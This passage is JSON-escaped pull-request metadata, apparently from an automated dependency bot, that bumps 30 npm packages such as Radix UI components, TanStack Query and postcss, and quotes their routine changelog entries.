,"repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-query-devtools","old_version":"5.101.2","new_version":"5.101.3","repository_url":"https://github.com/TanStack/query"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.19","new_version":"8.5.20","repository_url":"https://github.com/postcss/postcss"},{"name":"react-hook-form","old_version":"7.81.0","new_version":"7.82.0","repository_url":"https://github.com/react-hook-form/react-hook-form"}],"path":null,"ecosystem":"npm"},"body":"Bumps the production-dependencies group with 30 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.16` | `1.2.17` |\n| [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-aspect-ratio](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/aspect-ratio) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.2.2` | `1.2.3` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.7` | `1.3.8` |\n| [@radix-ui/react-collapsible](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/collapsible) | `1.1.16` | `1.1.17` |\n| [@radix-ui/react-context-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/context-menu) | `2.3.3` | `2.3.4` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.20` | `2.1.21` |\n| [@radix-ui/react-hover-card](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/hover-card) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.11` | `2.1.12` |\n| [@radix-ui/react-menubar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/menubar) | `1.1.20` | `1.1.21` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.18` | `1.2.19` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.12` | `1.1.13` |\n| [@radix-ui/react-radio-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radio-group) | `1.4.3` | `1.4.4` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.14` | `1.2.15` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-slider](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slider) | `1.4.3` | `1.4.4` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.3.3` | `1.3.4` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.17` | `1.1.18` |\n| [@radix-ui/react-toast](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toast) | `1.2.19` | `1.2.20` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.14` | `1.1.15` |\n| [@radix-ui/react-toggle-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle-group) | `1.1.15` | `1.1.16` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.12` | `1.2.13` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.101.2` | `5.101.3` |\n| [@tanstack/react-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools) | `5.101.2` | `5.101.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.19` | `8.5.20` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.81.0` | `7.82.0` |\n\nUpdates `@radix-ui/react-accordion` from 1.2.16 to 1.2.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-aspect-ratio` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/aspect-ratio/CHANGELOG.md\"\u003e@​radix-ui/react-aspect-ratio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/aspect-ratio\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.2.2 to 1.2.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.7 to 1.3.8\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.16 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-context-menu` from 2.3.3 to 2.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/context-menu/CHANGELOG.md\"\u003e@​radix-ui/react-context-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/context-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed broken ARIA references in Dialogs where a title or description elements are not rendered.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.20 to 2.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-hover-card` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/hover-card/CHANGELOG.md\"\u003e@​radix-ui/react-hover-card's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/hover-card\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.11 to 2.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-menubar` from 1.1.20 to 1.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/menubar/CHANGELOG.md\"\u003e@​radix-ui/react-menubar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/menubar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-navigation-menu` from 1.2.18 to 1.2.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/navigation-menu/CHANGELOG.md\"\u003e@​radix-ui/react-navigation-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/navigation-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca 